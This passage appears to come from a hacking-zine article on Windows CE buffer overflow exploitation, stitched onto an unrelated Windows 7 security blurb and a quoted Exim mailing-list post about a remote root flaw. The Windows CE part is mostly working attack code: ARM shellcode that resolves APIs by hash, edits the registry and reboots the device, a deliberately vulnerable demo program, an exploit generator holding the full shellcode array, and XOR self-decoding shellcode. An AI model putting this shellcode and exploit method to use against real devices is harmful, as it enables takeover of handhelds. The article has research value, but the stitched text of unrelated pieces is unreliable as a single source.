coredll module by comparing the unicode string of its name.

Offsets 0x74 from the start of Module structure has an e32 member and it

is an e32_lite structure. Let's look at the e32_lite structure, which

defined in pehdr.h. In the e32_lite structure, member e32_vbase will tell

us the virtual base address of the module. It offsets 0x7c from the start

of Module structure. We else noticed the member of e32_unit[LITE_EXTRA],

it is an info structure array. LITE_EXTRA is defined to 6 in the head of

pehdr.h, only the first 6 used by NK and the first is export table position.

So offsets 0x8c from the start of Module structure is the virtual relative

address of export table position of the module.

From now on, we got the virtual base address of the coredll.dll and its

virtual relative address of export table position.

I wrote the following small program to list all modules of the system:

; SetProcessorMode.s

AREA |.text|, CODE, ARM

EXPORT |SetProcessorMode|

|SetProcessorMode| PROC

mov r1, lr ; different modes use different lr - save it

msr cpsr_c, r0 ; assign control bits of CPSR

mov pc, r1 ; return

END

// list.cpp

/*

...

01F60000 coredll.dll

*/

#include "stdafx.h"

extern "C" void __stdcall SetProcessorMode(DWORD pMode);

int WINAPI WinMain( HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPTSTR lpCmdLine,

int nCmdShow)

{

FILE *fp;

unsigned int KDataStruct = 0xFFFFC800;

void *Modules = NULL,

*BaseAddress = NULL,

*DllName = NULL;

// switch to user mode

//SetProcessorMode(0x10);

if ( (fp = fopen("\\modules.txt", "w")) == NULL )

{

return 1;

}

// aInfo[KINX_MODULES]

Modules = *( ( void ** )(KDataStruct + 0x324));

while (Modules) {

BaseAddress = *( ( void ** )( ( unsigned char * )Modules + 0x7c ) );

DllName = *( ( void ** )( ( unsigned char * )Modules + 0x8 ) );

fprintf(fp, "%08X %ls\n", BaseAddress, DllName);

Modules = *( ( void ** )( ( unsigned char * )Modules + 0x4 ) );

}

fclose(fp);

return(EXIT_SUCCESS);

}

In my environment, the Module structure is 0x8F453128 which in the kernel

space. Most of Pocket PC ROMs were builded with Enable Full Kernel Mode

option, so all applications appear to run in kernel mode. The first 5 bits

of the Psr register is 0x1F when debugging, that means the ARM processor

runs in system mode. This value defined in nkarm.h:

// ARM processor modes

#define USER_MODE 0x10 // 0b10000

#define FIQ_MODE 0x11 // 0b10001

#define IRQ_MODE 0x12 // 0b10010

#define SVC_MODE 0x13 // 0b10011

#define ABORT_MODE 0x17 // 0b10111

#define UNDEF_MODE 0x1b // 0b11011

#define SYSTEM_MODE 0x1f // 0b11111

I wrote a small function in assemble to switch processor mode because the

EVC doesn't support inline assemble. The program won't get the value of

BaseAddress and DllName when I switched the processor to user mode. It

raised a access violate exception.

I use this program to get the virtual base address of the coredll.dll is

0x01F60000 without change processor mode. But this address is invalid when

I use EVC debugger to look into and the valid data is start from

0x01F61000. I think maybe Windows CE is for the purpose of save memory

space or time, so it doesn't load the header of dll files.

Because we've got the virtual base address of the coredll.dll and its

virtual relative address of export table position, so through repeat

compare the API name by IMAGE_EXPORT_DIRECTORY structure, we can get the

API address. IMAGE_EXPORT_DIRECTORY structure is just like other Win32

system's, which defined in winnt.h:

// WINCE420\PUBLIC\COMMON\SDK\INC\winnt.h

typedef struct _IMAGE_EXPORT_DIRECTORY {

DWORD Characteristics; /* 0x00 */

DWORD TimeDateStamp; /* 0x04 */

WORD MajorVersion; /* 0x08 */

WORD MinorVersion; /* 0x0a */

DWORD Name; /* 0x0c */

DWORD Base; /* 0x10 */

DWORD NumberOfFunctions; /* 0x14 */

DWORD NumberOfNames; /* 0x18 */

DWORD AddressOfFunctions; // 0x1c RVA from base of image

DWORD AddressOfNames; // 0x20 RVA from base of image

DWORD AddressOfNameOrdinals; // 0x24 RVA from base of image

} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

--[ 7 - The Shellcode for Windows CE

There are something to notice before writing shellcode for Windows CE.

Windows CE uses r0-r3 as the first to fourth parameters of API, if the

parameters of API larger than four that Windows CE will use stack to store

the other parameters. So it will be careful to write shellcode, because

the shellcode will stay in the stack. The test.asm is our shellcode:

; Idea from WinCE4.Dust written by Ratter/29A

;

; API Address Search

; san@xfocus.org

;

; armasm test.asm

; link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj

CODE32

EXPORT WinMainCRTStartup

AREA .text, CODE, ARM

test_start

; r11 - base pointer

test_code_start PROC

bl get_export_section

mov r2, #4 ; functions number

bl find_func

sub sp, sp, #0x89, 30 ; weird after buffer overflow

add r0, sp, #8

str r0, [sp]

mov r3, #2

mov r2, #0

adr r1, key

mov r0, #0xA, 2

mov lr, pc

ldr pc, [r8, #-12] ; RegOpenKeyExW

mov r0, #1

str r0, [sp, #0xC]

mov r3, #4

str r3, [sp, #4]

add r1, sp, #0xC

str r1, [sp]

;mov r2, #0

adr r1, val

ldr r0, [sp, #8]

mov lr, pc

ldr pc, [r8, #-8] ; RegSetValueExW

ldr r0, [sp, #8]

mov lr, pc

ldr pc, [r8, #-4] ; RegCloseKey

adr r0, sf

ldr r0, [r0]

;ldr r0, =0x0101003c

mov r1, #0

mov r2, #0

mov r3, #0

mov lr, pc

ldr pc, [r8, #-16] ; KernelIoControl

; basic wide string compare

wstrcmp PROC

wstrcmp_iterate

ldrh r2, [r0], #2

ldrh r3, [r1], #2

cmp r2, #0

cmpeq r3, #0

moveq pc, lr

cmp r2, r3

beq wstrcmp_iterate

mov pc, lr

ENDP

; output:

; r0 - coredll base addr

; r1 - export section addr

get_export_section PROC

mov r11, lr

adr r4, kd

ldr r4, [r4]

;ldr r4, =0xffffc800 ; KDataStruct

ldr r5, =0x324 ; aInfo[KINX_MODULES]

add r5, r4, r5

ldr r5, [r5]

; r5 now points to first module

mov r6, r5

mov r7, #0

iterate

ldr r0, [r6, #8] ; get dll name

adr r1, coredll

bl wstrcmp ; compare with coredll.dll

ldreq r7, [r6, #0x7c] ; get dll base

ldreq r8, [r6, #0x8c] ; get export section rva

add r9, r7, r8

beq got_coredllbase ; is it what we're looking for?

ldr r6, [r6, #4]

cmp r6, #0

cmpne r6, r5

bne iterate ; nope, go on

got_coredllbase

mov r0, r7

add r1, r8, r7 ; yep, we've got imagebase

; and export section pointer

mov pc, r11

ENDP

; r0 - coredll base addr

; r1 - export section addr

; r2 - function name addr

find_func PROC

adr r8, fn

find_func_loop

ldr r4, [r1, #0x20] ; AddressOfNames

add r4, r4, r0

mov r6, #0 ; counter

find_start

ldr r7, [r4], #4

add r7, r7, r0 ; function name pointer

;mov r8, r2 ; find function name

mov r10, #0

hash_loop

ldrb r9, [r7], #1

cmp r9, #0

beq hash_end

add r10, r9, r10, ROR #7

b hash_loop

hash_end

ldr r9, [r8]

cmp r10, r9 ; compare the hash

addne r6, r6, #1

bne find_start

ldr r5, [r1, #0x24] ; AddressOfNameOrdinals

add r5, r5, r0

add r6, r6, r6

ldrh r9, [r5, r6] ; Ordinals

ldr r5, [r1, #0x1c] ; AddressOfFunctions

add r5, r5, r0

ldr r9, [r5, r9, LSL #2]; function address rva

add r9, r9, r0 ; function address

str r9, [r8], #4

subs r2, r2, #1

bne find_func_loop

mov pc, lr

ENDP

kd DCB 0x00, 0xc8, 0xff, 0xff ; 0xffffc800

sf DCB 0x3c, 0x00, 0x01, 0x01 ; 0x0101003c

fn DCB 0xe7, 0x9d, 0x3a, 0x28 ; KernelIoControl

DCB 0x51, 0xdf, 0xf7, 0x0b ; RegOpenKeyExW

DCB 0xc0, 0xfe, 0xc0, 0xd8 ; RegSetValueExW

DCB 0x83, 0x17, 0x51, 0x0e ; RegCloseKey

key DCB "S", 0x0, "O", 0x0, "F", 0x0, "T", 0x0, "W", 0x0, "A", 0x0, "R", 0x0, "E", 0x0

DCB "\\", 0x0, "\\", 0x0, "W", 0x0, "i", 0x0, "d", 0x0, "c", 0x0, "o", 0x0, "m", 0x0

DCB "m", 0x0, "\\", 0x0, "\\", 0x0, "B", 0x0, "t", 0x0, "C", 0x0, "o", 0x0, "n", 0x0

DCB "f", 0x0, "i", 0x0, "g", 0x0, "\\", 0x0, "\\", 0x0, "G", 0x0, "e", 0x0, "n", 0x0

DCB "e", 0x0, "r", 0x0, "a", 0x0, "l", 0x0, 0x0, 0x0, 0x0, 0x0

val DCB "S", 0x0, "t", 0x0, "a", 0x0, "c", 0x0, "k", 0x0, "M", 0x0, "o", 0x0, "d", 0x0

DCB "e", 0x0, 0x0, 0x0

coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0

DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0

ALIGN 4

LTORG

test_end

WinMainCRTStartup PROC

b test_code_start

ENDP

END

This shellcode constructs with three parts. Firstly, it calls the

get_export_section function to obtain the virtual base address of coredll

and its virtual relative address of export table position. The r0 and r1

stored them. Second, it calls the find_func function to obtain the API

address through IMAGE_EXPORT_DIRECTORY structure and stores the API

addresses to its own hash value address. The last part is the function

implement of our shellcode, it changes the register key

HKLM\SOFTWARE\WIDCOMM\General\btconfig\StackMode to 1 and then uses

KernelIoControl to soft restart the system.

Windows CE.NET provides BthGetMode and BthSetMode to get and set the

bluetooth state. But HP IPAQs use the Widcomm stack which has its own API,

so BthSetMode can't open the bluetooth for IPAQ. Well, there is another

way to open bluetooth in IPAQs(My PDA is HP1940). Just changing

HKLM\SOFTWARE\WIDCOMM\General\btconfig\StackMode to 1 and reset the PDA,

the bluetooth will open after system restart. This method is not pretty,

but it works.

Well, let's look at the get_export_section function. Why I commented off

"ldr r4, =0xffffc800" instruction? We must notice ARM assembly language's

LDR pseudo-instruction. It can load a register with a 32-bit constant

value or an address. The instruction "ldr r4, =0xffffc800" will be

"ldr r4, [pc, #0x108]" in EVC debugger, and the r4 register depends on the

program. So the r4 register won't get the 0xffffc800 value in shellcode,

and the shellcode will fail. The instruction "ldr r5, =0x324" will be

"mov r5, #0xC9, 30" in EVC debugger, its ok when the shellcode is executed

. The simple solution is to write the large constant value among the

shellcode, and then use the ADR pseudo-instruction to load the address of

value to register and then read the memory to register.

To save size, we can use hash technology to encode the API names. Each API

name will be encoded into 4 bytes. The hash technology is come from LSD's

Win32 Assembly Components.

The compile method is as following:

armasm test.asm

link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj

You must install the EVC environment first. After this, we can obtain the

necessary opcodes from EVC debugger or IDAPro or hex editors.

--[ 8 - System Call

First, let's look at the implementation of an API in coredll.dll:

.text:01F75040 EXPORT PowerOffSystem

.text:01F75040 PowerOffSystem ; CODE XREF: SetSystemPowerState+58 p

.text:01F75040 STMFD SP!, {R4,R5,LR}

.text:01F75044 LDR R5, =0xFFFFC800

.text:01F75048 LDR R4, =unk_1FC6760

.text:01F7504C LDR R0, [R5] ; UTlsPtr

.text:01F75050 LDR R1, [R0,#-0x14] ; KTHRDINFO

.text:01F75054 TST R1, #1

.text:01F75058 LDRNE R0, [R4] ; 0x8004B138 ppfnMethods

.text:01F7505C CMPNE R0, #0

.text:01F75060 LDRNE R1, [R0,#0x13C] ; 0x8006C92C SC_PowerOffSystem

.text:01F75064 LDREQ R1, =0xF000FEC4 ; trap address of SC_PowerOffSystem

.text:01F75068 MOV LR, PC

.text:01F7506C MOV PC, R1

.text:01F75070 LDR R3, [R5]

.text:01F75074 LDR R0, [R3,#-0x14]

.text:01F75078 TST R0, #1

.text:01F7507C LDRNE R0, [R4]

.text:01F75080 CMPNE R0, #0

.text:01F75084 LDRNE R0, [R0,#0x25C] ; SC_KillThreadIfNeeded

.text:01F75088 MOVNE LR, PC

.text:01F7508C MOVNE PC, R0

.text:01F75090 LDMFD SP!, {R4,R5,PC}

.text:01F75090 ; End of function PowerOffSystem

Debugging into this API, we found the system will check the KTHRDINFO

first. This value was initialized in the MDCreateMainThread2 function of

PRIVATE\WINCEOS\COREOS\NK\KERNEL\ARM\mdram.c:

...

if (kmode || bAllKMode) {

pTh->ctx.Psr = KERNEL_MODE;

KTHRDINFO (pTh) |= UTLS_INKMODE;

} else {

pTh->ctx.Psr = USER_MODE;

KTHRDINFO (pTh) &= ~UTLS_INKMODE;

}

...

If the application is in kernel mode, this value will be set with 1,

otherwise it will be 0. All applications of Pocket PC run in kernel mode,

so the system follow by "LDRNE R0, [R4]". In my environment, the R0 got

0x8004B138 which is the ppfnMethods pointer of SystemAPISets[SH_WIN32],

and then it flow to "LDRNE R1, [R0,#0x13C]". Let's look the offset 0x13C

(0x13C/4=0x4F) and corresponding to the index of Win32Methods defined in

PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h:

const PFNVOID Win32Methods[] = {

...

(PFNVOID)SC_PowerOffSystem, // 79

...

};

Well, the R1 got the address of SC_PowerOffSystem which is implemented in

kernel. The instruction "LDREQ R1, =0xF000FEC4" has no effect when the

application run in kernel mode. The address 0xF000FEC4 is system call

which used by user mode. Some APIs use system call directly, such as

SetKMode:

.text:01F756C0 EXPORT SetKMode

.text:01F756C0 SetKMode

.text:01F756C0

.text:01F756C0 var_4 = -4

.text:01F756C0

.text:01F756C0 STR LR, [SP,#var_4]!

.text:01F756C4 LDR R1, =0xF000FE50

.text:01F756C8 MOV LR, PC

.text:01F756CC MOV PC, R1

.text:01F756D0 LDMFD SP!, {PC}

Windows CE doesn't use ARM's SWI instruction to implement system call, it

implements in different way. A system call is made to an invalid address

in the range 0xf0000000 - 0xf0010000, and this causes a prefetch-abort

trap, which is handled by PrefetchAbort implemented in armtrap.s.

PrefetchAbort will check the invalid address first, if it is in trap area

then using ObjectCall to locate the system call and executed, otherwise

calling ProcessPrefAbort to deal with the exception.

There is a formula to calculate the system call address:

0xf0010000-(256*apiset+apinr)*4

The api set handles are defined in PUBLIC\COMMON\SDK\INC\kfuncs.h and

PUBLIC\COMMON\OAK\INC\psyscall.h, and the aipnrs are defined in several

files, for example SH_WIN32 calls are defined in

PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h.

Well, let's calculate the system call of KernelIoControl. The apiset is 0

and the apinr is 99, so the system call is 0xf0010000-(256*0+99)*4 which

is 0xF000FE74. The following is the shellcode implemented by system call:

#include "stdafx.h"

int shellcode[] =

{

0xE59F0014, // ldr r0, [pc, #20]

0xE59F4014, // ldr r4, [pc, #20]

0xE3A01000, // mov r1, #0

0xE3A02000, // mov r2, #0

0xE3A03000, // mov r3, #0

0xE1A0E00F, // mov lr, pc

0xE1A0F004, // mov pc, r4

0x0101003C, // IOCTL_HAL_REBOOT

0xF000FE74, // trap address of KernelIoControl

};

int WINAPI WinMain( HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPTSTR lpCmdLine,

int nCmdShow)

{

((void (*)(void)) & shellcode)();

return 0;

}

It works fine and we don't need search API addresses.

--[ 9 - Windows CE Buffer Overflow Exploitation

The hello.cpp is the demonstration vulnerable program:

// hello.cpp

//

#include "stdafx.h"

int hello()

{

FILE * binFileH;

char binFile[] = "\\binfile";

char buf[512];

if ( (binFileH = fopen(binFile, "rb")) == NULL )

{

printf("can't open file %s!\n", binFile);

return 1;

}

memset(buf, 0, sizeof(buf));

fread(buf, sizeof(char), 1024, binFileH);

printf("%08x %d\n", &buf, strlen(buf));

getchar();

fclose(binFileH);

return 0;

}

int WINAPI WinMain( HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPTSTR lpCmdLine,

int nCmdShow)

{

hello();

return 0;

}

The hello function has a buffer overflow problem. It reads data from the

"binfile" of the root directory to stack variable "buf" by fread().

Because it reads 1KB contents, so if the "binfile" is larger than 512

bytes, the stack variable "buf" will be overflowed.

The printf and getchar are just for test. They have no effect without

console.dll in windows direcotry. The console.dll file is come from

Windows Mobile Developer Power Toys.

ARM assembly language uses bl instruction to call function. Let's look

into the hello function:

6: int hello()

7: {

22011000 str lr, [sp, #-4]!

22011004 sub sp, sp, #0x89, 30

8: FILE * binFileH;

9: char binFile[] = "\\binfile";

...

...

26: }

220110C4 add sp, sp, #0x89, 30

220110C8 ldmia sp!, {pc}

"str lr, [sp, #-4]!" is the first instruction of the hello() function. It

stores the lr register to stack, and the lr register contains the return

address of hello caller. The second instruction prepairs stack memory for

local variables. "ldmia sp!, {pc}" is the last instruction of the hello()

function. It loads the return address of hello caller that stored in the

stack to the pc register, and then the program will execute into WinMain

function. So overwriting the lr register that is stored in the stack will

obtain control when the hello function returned.

The variable's memory address that allocated by program is corresponding

to the loaded Slot, both stack and heap. The process may be loaded into

difference Slot at each start time. So the base address always alters. We

know that the slot 0 is mapped from the current process' slot, so the base

of its stack address is stable.

The following is the exploit of hello program:

/* exp.c - Windows CE Buffer Overflow Demo

*

* san@xfocus.org

*/

#include

#define NOP 0xE1A01001 /* mov r1, r1 */

#define LR 0x0002FC50 /* return address */

int shellcode[] =

{

0xEB000026,

0xE3A02004,

0xEB00003A,

0xE24DDF89,

0xE28D0008,

0xE58D0000,

0xE3A03002,

0xE3A02000,

0xE28F1F56,

0xE3A0010A,

0xE1A0E00F,

0xE518F00C,

0xE3A00001,

0xE58D000C,

0xE3A03004,

0xE58D3004,

0xE28D100C,

0xE58D1000,

0xE28F1F5F,

0xE59D0008,

0xE1A0E00F,

0xE518F008,

0xE59D0008,

0xE1A0E00F,

0xE518F004,

0xE28F0C01,

0xE5900000,

0xE3A01000,

0xE3A02000,

0xE3A03000,

0xE1A0E00F,

0xE518F010,

0xE0D020B2,

0xE0D130B2,

0xE3520000,

0x03530000,

0x01A0F00E,

0xE1520003,

0x0AFFFFF8,

0xE1A0F00E,

0xE1A0B00E,

0xE28F40BC,

0xE5944000,

0xE3A05FC9,

0xE0845005,

0xE5955000,

0xE1A06005,

0xE3A07000,

0xE5960008,

0xE28F1F45,

0xEBFFFFEC,

0x0596707C,

0x0596808C,

0xE0879008,

0x0A000003,

0xE5966004,

0xE3560000,

0x11560005,

0x1AFFFFF4,

0xE1A00007,

0xE0881007,

0xE1A0F00B,

0xE28F8070,

0xE5914020,

0xE0844000,

0xE3A06000,

0xE4947004,

0xE0877000,

0xE3A0A000,

0xE4D79001,

0xE3590000,

0x0A000001,

0xE089A3EA,

0xEAFFFFFA,

0xE5989000,

0xE15A0009,

0x12866001,

0x1AFFFFF3,

0xE5915024,

0xE0855000,

0xE0866006,

0xE19590B6,

0xE591501C,

0xE0855000,

0xE7959109,

0xE0899000,

0xE4889004,

0xE2522001,

0x1AFFFFE5,

0xE1A0F00E,

0xFFFFC800,

0x0101003C,

0x283A9DE7,

0x0BF7DF51,

0xD8C0FEC0,

0x0E511783,

0x004F0053,

0x00540046,

0x00410057,

0x00450052,

0x005C005C,

0x00690057,

0x00630064,

0x006D006F,

0x005C006D,

0x0042005C,

0x00430074,

0x006E006F,

0x00690066,

0x005C0067,

0x0047005C,

0x006E0065,

0x00720065,

0x006C0061,

0x00000000,

0x00740053,

0x00630061,

0x004D006B,

0x0064006F,

0x00000065,

0x006F0063,

0x00650072,

0x006C0064,

0x002E006C,

0x006C0064,

0x0000006C,

};

/* prints a long to a string */

char* put_long(char* ptr, long value)

{

*ptr++ = (char) (value >> 0) & 0xff;

*ptr++ = (char) (value >> 8) & 0xff;

*ptr++ = (char) (value >> 16) & 0xff;

*ptr++ = (char) (value >> 24) & 0xff;

return ptr;

}

int main()

{

FILE * binFileH;

char binFile[] = "binfile";

char buf[544];

char *ptr;

int i;

if ( (binFileH = fopen(binFile, "wb")) == NULL )

{

printf("can't create file %s!\n", binFile);

return 1;

}

memset(buf, 0, sizeof(buf)-1);

ptr = buf;

for (i = 0; i < 4; i++) {

ptr = put_long(ptr, NOP);

}

memcpy(buf+16, shellcode, sizeof(shellcode));

put_long(ptr-16+540, LR);

fwrite(buf, sizeof(char), 544, binFileH);

fclose(binFileH);

}

We choose a stack address of slot 0, and it points to our shellcode. It

will overwrite the return address that stored in the stack. We can also

use a jump address of virtual memory space of the process instead of. This

exploit produces a "binfile" that will overflow the "buf" variable and the

return address that stored in the stack.

After the binfile copied to the PDA, the PDA restarts and open the

bluetooth when the hello program is executed. That's means the hello

program flowed to our shellcode.

While I changed another method to construct the exploit string, its as

following:

pad...pad|return address|nop...nop...shellcode

And the exploit produces a 1KB "binfile". But the PDA is freeze when the

hello program is executed. It was confused, I think maybe the stack of

Windows CE is small and the overflow string destroyed the 2KB guard on the

top of stack. It is freeze when the program call a API after overflow

occurred. So, we must notice the features of stack while writing exploit

for Windows CE.

EVC has some bugs that make debug difficult. First, EVC will write some

arbitrary data to the stack contents when the stack releases at the end of

function, so the shellcode maybe modified. Second, the instruction at

breakpoint maybe change to 0xE6000010 in EVC while debugging. Another bug

is funny, the debugger without error while writing data to a .text address

by step execute, but it will capture a access violate exception by execute

directly.

--[ 10 - About Decoding Shellcode

The shellcode we talked above is a concept shellcode which contains lots

of zeros. It executed correctly in this demonstrate program, but some other

vulnerable programs maybe filter the special characters before buffer

overflow in some situations. For example overflowed by strcpy, the

shellcode will be cut by the zero.

It is difficult and inconvenient to write a shellcode without special

characters by API search method. So we think about the decoding shellcode.

Decoding shellcode will convert the special characters to fit characters

and make the real shellcode more universal.

The newer ARM processor(such as arm9 and arm10) has a Harvard architecture

which separates instruction cache and data cache. This feature will

improve the performance of processor, and most of RISC processors have

this feature. But the self-modifying code is not easy to implement,

because it will puzzled by the caches and the processor implementation

after being modified.

Let's look at the following code first:

#include "stdafx.h"

int weird[] =

{

0xE3A01099, // mov r1, #0x99

0xE5CF1020, // strb r1, [pc, #0x20]

0xE5CF1020, // strb r1, [pc, #0x20]

0xE5CF1020, // strb r1, [pc, #0x20]

0xE5CF1020, // strb r1, [pc, #0x20]

0xE1A01001, // mov r1, r1 ; pad

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE3A04001, // mov r4, #0x1

0xE3A03001, // mov r3, #0x1

0xE3A02001, // mov r2, #0x1

0xE3A01001, // mov r1, #0x1

0xE6000010, // breakpoint

};

int WINAPI WinMain( HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPTSTR lpCmdLine,

int nCmdShow)

{

((void (*)(void)) & weird)();

return 0;

}

That four strb instructions will change the immediate value of the below

mov instructions to 0x99. It will break at that inserted breakpoint while

executing this code in EVC debugger directly. The r1-r4 registers got 0x99

in S3C2410 which is a arm9 core processor. It needs more nop instructions

to pad after modified to let the r1-r4 got 0x99 while I tested this code

in my friend's PDA which has a Intel Xscale processor. I think the reason

maybe is that the arm9 has 5 pipelines and the arm10 has 6 pipelines. Well

, I changed it to another method:

0xE28F3053, // add r3, pc, #0x53

0xE3A01010, // mov r1, #0x10

0xE7D32001, // ldrb r2, [r3, +r1]

0xE2222088, // eor r2, r2, #0x88

0xE7C32001, // strb r2, [r3, +r1]

0xE2511001, // subs r1, r1, #1

0x1AFFFFFA, // bne 28011008

//0xE1A0100F, // mov r1, pc

//0xE3A02020, // mov r2, #0x20

//0xE3A03D05, // mov r3, #5, 26

//0xEE071F3A, // mcr p15, 0, r1, c7, c10, 1 ; clean and invalidate each entry

//0xE0811002, // add r1, r1, r2

//0xE0533002, // subs r3, r3, r2

//0xCAFFFFFB, // bgt |weird+28h (30013058)|

//0xE0211001, // eor r1, r1, r1

//0xEE071F9A, // mcr p15, 0, r1, c7, c10, 4 ; drain write buffer

//0xEE071F15, // mcr p15, 0, r1, c7, c5, 0 ; flush the icache

0xE1A01001, // mov r1, r1 ; pad

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0x6B28C889, // mov r4, #0x1 ; encoded

0x6B28B889, // mov r3, #0x1

0x6B28A889, // mov r2, #0x1

0x6B289889, // mov r1, #0x1

0xE6000010, // breakpoint

The four mov instructions were encoded by Exclusive-OR with 0x88, the

decoder has a loop to load a encoded byte and Exclusive-OR it with 0x88

and then stored it to the original position. The r1-r4 registers won't get

0x1 even you put a lot of pad instructions after decoded in both arm9 and

arm10 processors. I think maybe that the load instruction bring on a cache

problem.

ARM Architecture Reference Manual has a chapter to introduce how to deal

with self-modifying code. It says the caches will be flushed by an

operating system call. Phil, the guy from 0dd shared his experience to me.

He said he's used this method successful on ARM system(I think his

environment maybe is Linux). Well, this method is successful on AIX PowerPC

and Solaris SPARC too(I've tested it). But SWI implements in a different

way under Windows CE. The armtrap.s contains implementation of SWIHandler

which does nothing except 'movs pc,lr'. So it has no effect after decode

finished.

Because Pocket PC's applications run in kernel mode, so we have privilege

to access the system control coprocessor. ARM Architecture Reference

Manual introduces memory system and how to handle cache via the system

control coprocessor. After looked into this manual, I tried to disable the

instruction cache before decode:

mrc p15, 0, r1, c1, c0, 0

bic r1, r1, #0x1000

mcr p15, 0, r1, c1, c0, 0

But the system freezed when the mcr instruction executed. Then I tried to

invalidate entire instruction cache after decoded:

eor r1, r1, r1

mcr p15, 0, r1, c7, c5, 0

But it has no effect too.

--[ 11 - Conclusion

The codes talked above are the real-life buffer overflow example on

Windows CE. It is not perfect, but I think this technology will be improved

in the future.

Because of the cache mechanism, the decoding shellcode is not good enough.

Internet and handset devices are growing quickly, so threats to the PDAs

and mobiles become more and more serious. And the patch of Windows CE is

more difficult and dangerous than the normal Windows system to customers.

Because the entire Windows CE system is stored in the ROM, if you want to

patch the system flaws, you must flush the ROM, And the ROM images of

various vendors or modes of PDAs and mobiles aren't compatible.

Ultimate guide to Windows 7 security @ hacking-news.com

Windows 7 has been warmly received and swiftly adopted by businesses, with the result that many IT admins are now struggling with the platform’s new security features. In addition to changes to User Account Control, BitLocker, and other features inherited from Windows Vista, Windows 7 introduces a slew of security capabilities that businesses will want to take advantage of.


Windows 7 improves on Vista with a friendlier UAC mechanism, the ability to encrypt removable media and hard drive volumes, broader support for strong cryptographic ciphers, hassle-free secure remote access, and sophisticated protection against Trojan malware in the form of AppLocker, to name just a few.

In this guide, I’ll run through these and other significant security enhancements in Windows 7, and provide my recommendations for configuring and using them. I’ll pay especially close attention to the new AppLocker application control feature, which may be a Windows shop’s most practical and affordable way to combat socially engineered Trojan malware.

New and improved

Windows 7 has literally hundreds of security changes and additions, far too many to cover in one fell swoop. While this guide focuses on the ones that most organizations will be interested in, keep in mind that plenty of others may deserve your attention. A few the biggies not discussed here are built-in support for smart cards and biometrics, the ability to force the use of Kerberos in a feature called Restrict NTLM, and support for the new DNSSec standards, which are becoming essential to prevent DNS exploitation attacks. Also noteworthy is a new feature called Extended Protection for Authentication, which prevents many sophisticated man-in-the-middle attacks that can strike at some of our most trusted security protocols (such as SSL and TLS).

User Account Control

A Windows Vista feature that users loved to hate, User Account Control has been significantly improved to be both less intrusive and smarter at distinguishing between legitimate and potentially malicious activities in Windows 7. However, depending on whether you are logged on as administrator or a standard user, some installs of Windows 7 may have a default UAC security setting that’s one level lower than some experts (including yours truly) recommend. Standard users have UAC security default to the most secure setting, while administrator accounts reside a notch below the highest setting, which is potentially riskier.

Note too that, although UAC provides a much-needed mechanism to prevent the misuse of administrator privileges, it can be bypassed. If you need high security, users should not log on with an elevated user account until they need it.

Your domain environment should already be at the highest and most secure level (“Always notify”). If it isn’t, make it so. That way, users will be prompted to input their passwords to perform high risk administrative actions. No matter what else, UAC should be enabled.

more on techworld.com

Remote root vulnerability in Exim

Original phile @ http://www.exim.org/lurker/message/20101210.164935.385e04d0.en.html


Author: David Woodhouse
Date: 2010-12-10 10:49 -600
To: Sergey Kononenko
CC: exim-dev, pkg-exim4-maintainers
Subject: Re: [exim-dev] Remote root vulnerability in Exim
On Tue, 2010-12-07 at 23:59 +0200, Sergey Kononenko wrote:
> While investigating security break in the network of my company, I've
> captured (by tcpdump) sequence of successful remote root attack through
> Exim. It was Exim from Debian Lenny (exim4-daemon-light 4.69-9).

Thanks Sergey for the notification, and the help in analysing it.

There are two flaws here. The first is that the attacker managed to get
a remote shell running as the Exim user, and the second that they could
then escalate their privileges to become root.

These have been assigned two separate CVE IDs:

CVE-2010-4344 exim remote code execution flaw
CVE-2010-4345 exim privilege escalation

=====

The first issue is caused by a string handling bug which was filed as
bug #787¹ and fixed in Exim 4.70, released in November 2009.

The exploit seen in the wild is making use of the fact that the Exim
default configuration will log all headers of a rejected mail to the
rejectlog. By crafting a set of headers which will trigger the bug, the
attacker manages to overflow the log buffer and scribble on the memory
which contains the ACL for the 'MAIL FROM' command. When the attacker
follows up their rejected mail with another 'MAIL FROM' on the same
connection, the corrupted ACL is evaluated, and they obtain a shell from
the ${run...} directives they placed in it.

The obvious solution to this problem if you're still using Exim 4.69 or
lower is to UPGRADE TO A CURRENT VERSION. If for some reason that is an
issue for you, then rebuild Exim with the patch² applied.

A patched version of exim-4.69 for Debian Lenny is already available:
http://lists.debian.org/debian-security-announce/2010/msg00181.html

In the *very* short term, if you can neither rebuild your own version
nor go offline while waiting for your vendor to ship a fixed
version, you can protect against the known exploit by using the
'log_selector = -rejected_header' configuration option to disable Exim's
logging of headers when rejecting a message. However, this only protects
against the code path which is actively being exploited today; the
underlying string handling bug still exists and there may be other ways
for an attacker to craft strings which reach the affected function. It
is *NOT* a real fix for the issue, just a way to reduce your risk.

Thanks to James E. Blair and Paul Fisher for reproducing this issue,
giving us a simple test case, and identifying the underlying bug.

=====

The second issue is very simple. If Exim is built with the
ALT_CONFIG_ROOT_ONLY configuration option unset, which is the default,
then the privileged Exim user can invoke Exim with an arbitrary
configuration file, and ${run...} directives in that configuration file
will be executed as root.

The simple fix is to ensure that your version of Exim is built with the
ALT_CONFIG_ROOT_ONLY option enabled, and note that this may result in a
loss of functionality in certain cases where more than one configuration
is in use. The 'exim' user will no longer be permitted to invoke Exim
with an alternative configuration file and have it executed with root
privileges.

To cope with that loss of functionality, we are working on a way to
'whitelist' alternative configuration files which *are* acceptable to be
run with root privileges. This is being tracked as bug 1044³.

=====

Given that the remote flaw was fixed over a year ago and does not affect
current releases of Exim, and given the existence of the
